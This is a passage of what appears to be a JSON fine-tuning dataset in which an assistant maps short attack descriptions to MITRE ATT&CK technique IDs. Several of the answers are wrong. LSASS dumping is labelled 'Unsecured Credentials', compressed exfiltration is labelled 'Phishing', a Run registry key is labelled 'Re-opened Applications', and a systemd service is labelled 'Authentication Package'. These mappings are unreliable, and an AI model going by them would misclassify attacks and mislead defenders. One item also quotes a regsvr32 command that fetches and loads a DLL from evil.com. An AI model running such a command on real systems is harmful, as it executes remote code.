                "role": "user",
                "content": "An attacker leverages the credential dumping tool to pull credentials from LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved injecting a custom PowerShell script into a domain GPO for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtained a code‑signing certificate by submitting a fraudulent code‑signing request through an automated CA API."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group sets up a covert tunnel by wrapping malicious traffic in legitimate FTP data transfers, allowing data exfiltration through standard file transfer sessions."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker includes code that looks for known virtual machine MAC address prefixes such as 00:05:69."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After establishing a foothold, the intrusion set clears persistence by removing created startup scripts and registry persistence entries."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider runs a corporate network scan with NetworkMiner, collecting host details for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs ARP spoofing on a local network, allowing it to intercept and alter HTTP requests between user workstations and the internal web server."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the mail transfer protocol (SMTP) to establish a C2 channel, sending commands in the body of emails."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before launching its main routine, the installer checks the system's MAC address to ensure it matches a pre‑defined value, aborting if it does not."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data compression and encryption for stealthy exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries strip debugging symbols and unnecessary sections from malicious binaries to make analysis harder."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder searches the victim's private GitHub repositories for API keys and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a rootkit to hide network traffic and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a small request to a misconfigured NTP server, which replies with a large response directed at the victim, overwhelming its bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a value to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to ensure the malicious program reopens on every system start."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Office template (e.g., .potx) is used to drop a macro that executes on Office launch, providing a stealthy persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sends carefully crafted emails to specific employees, enticing them to click a malicious link that harvests credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious QR code is printed on a flyer; scanning it opens a URL that triggers the download and execution of a payload on the user's phone."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the system registry to add a malicious autorun entry that executes with admin rights on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is deployed to a serverless edge computing platform (e.g., Cloudflare Workers) to harvest user tokens from web requests."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a Windows service that runs a scheduled task to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers executed a malicious DLL by invoking cmstp.exe with a crafted INF file, bypassing application whitelisting controls."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware first registers with a remote server to receive a configuration, then uses that same configuration-driven channel to download and execute subsequent payload stages."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts configuration files from the victim’s VPN concentrator to learn network topology."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber actors spoof web authentication headers by injecting fabricated credentials into HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages passive DNS data to track historical IP address assignments for the target domain."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses filler data blocks within a malicious PDF to evade content scanning engines."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes a custom systemd timer to schedule the execution of a payload after a 5-minute delay post-boot."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a proxy on a compromised internal host, using it to tunnel malicious traffic and obscure source IPs."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a cron job that rsyncs collected logs to a malicious IBM Cloud Object Storage instance."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary programs an Outlook rule that runs a Python script embedded in an email body whenever the email is read, achieving execution without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts a code signing certificate from a breached software vendor's build server and uses it to sign ransomware."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the 'dir' command on the compromised host to list all files in the current directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload was packaged inside a legitimate software bundle, and the bundle’s code signature was corrupted during transit, leading security tools to treat the payload as benign despite the invalid signature."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a privilege escalation, the threat actor injects a malicious path into the system-wide environment that overrides standard utilities."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a compromised web shell to establish a remote RDP session to a victim's internal server."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses domain parking services to host malicious ads that serve drive‑by downloads to unsuspecting visitors."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor opens an SSH connection to a Unix host using previously harvested private keys."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device is used to gain network access and serve a malicious payload to other devices on the same subnet."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider copied a Microsoft Teams access token from a colleague's session and used it to join and monitor confidential meetings."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a script that calls 'Stop-Service' on 'EventLog', halting system event logging."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a rogue browser extension that modifies the DOM to display phishing forms."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes an encrypted HTTPS channel to a remote C2 server and streams extracted documents."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies stolen files onto a USB stick and physically transports it to an external network to upload the data."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable Tomcat servlet container to deploy a web shell."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the built‑in InstallUtil utility to execute a signed but malicious executable, achieving persistence via service installation."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary checks for the presence of virtual machine drivers by enumerating loaded kernel modules for VMware-specific entries."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delivers a WhatsApp text that mimics a coworker's style, urging the victim to share their VPN password to access a shared spreadsheet."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recon team uses the 'dig' command to perform AXFR attempts and retrieve zone data from the target's DNS server."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the actor executes a script that empties the victim's mailbox folders, removing any forensic artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat group uses a privilege escalation exploit to execute a script that dumps cached domain credentials from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable injects a PE file into a running process and executes it directly from memory using reflective loading, leaving no file on disk."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor monitored public Facebook pages of target employees to gather personal details and organizational structure."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT observed that the threat actor employed regsvr32 /n /i:http://evil.com/bad.dll to load a malicious DLL via an internet URL."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses the macOS Security framework to dump all entries from the user's Keychain, retrieving saved website passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls the Go 'archive/zip' package to bundle collected keylogs into a single archive for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using phishing emails, the attacker convinces the user to click a link that initiates an MFA request, then the attacker approves the same request on a parallel device."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a downloader that runs a systeminfo command to collect OS build number, processor information, and available disk space for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes \"dpkg -l\" on a Linux system to retrieve a full inventory of installed packages."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through VDSO hijacking, the compromise redirects system call handling to execute injected malicious routines."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script executes \"systemctl show --property=Time\" on a compromised system to retrieve its current time configuration."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the ARP table on compromised machines to discover neighboring devices and their MAC addresses, constructing a network map."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors collected a suite of credential‑stealing malware from a compromised developer's GitHub account."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a custom web service to maintain continuous, duplex communication, embedding encrypted payloads within normal web traffic to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfigured web proxy, the adversary forces browsers to authenticate against an attacker-controlled server, obtaining the users' credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors lease a cloud virtual machine and install a reverse proxy to tunnel traffic to their internal network."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider runs a batch file that shreds sensitive PDFs and logs using secure delete utilities."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker used Mimikatz to dump the Windows certificate store and extracted the private key of a domain authentication certificate."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers obtain valid cloud service credentials and use them to initiate remote sessions into on-premises servers through the service's API."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script renames its own file to \"C:\\Windows\\System32\\msiexec.exe\" to masquerade as a legitimate installer."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious network logon script injects a DLL into the user’s explorer process each time they log into the network."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages 'systemd' service units to start a malicious binary during system boot on Linux."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was placed in the C$ administrative share and launched via a remote service call."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs credential dumping by reading the LSASS process memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a custom tar‑like utility to archive keylog files into a .archive package for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the registry entry for Windows Defender real-time protection to turn it off."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
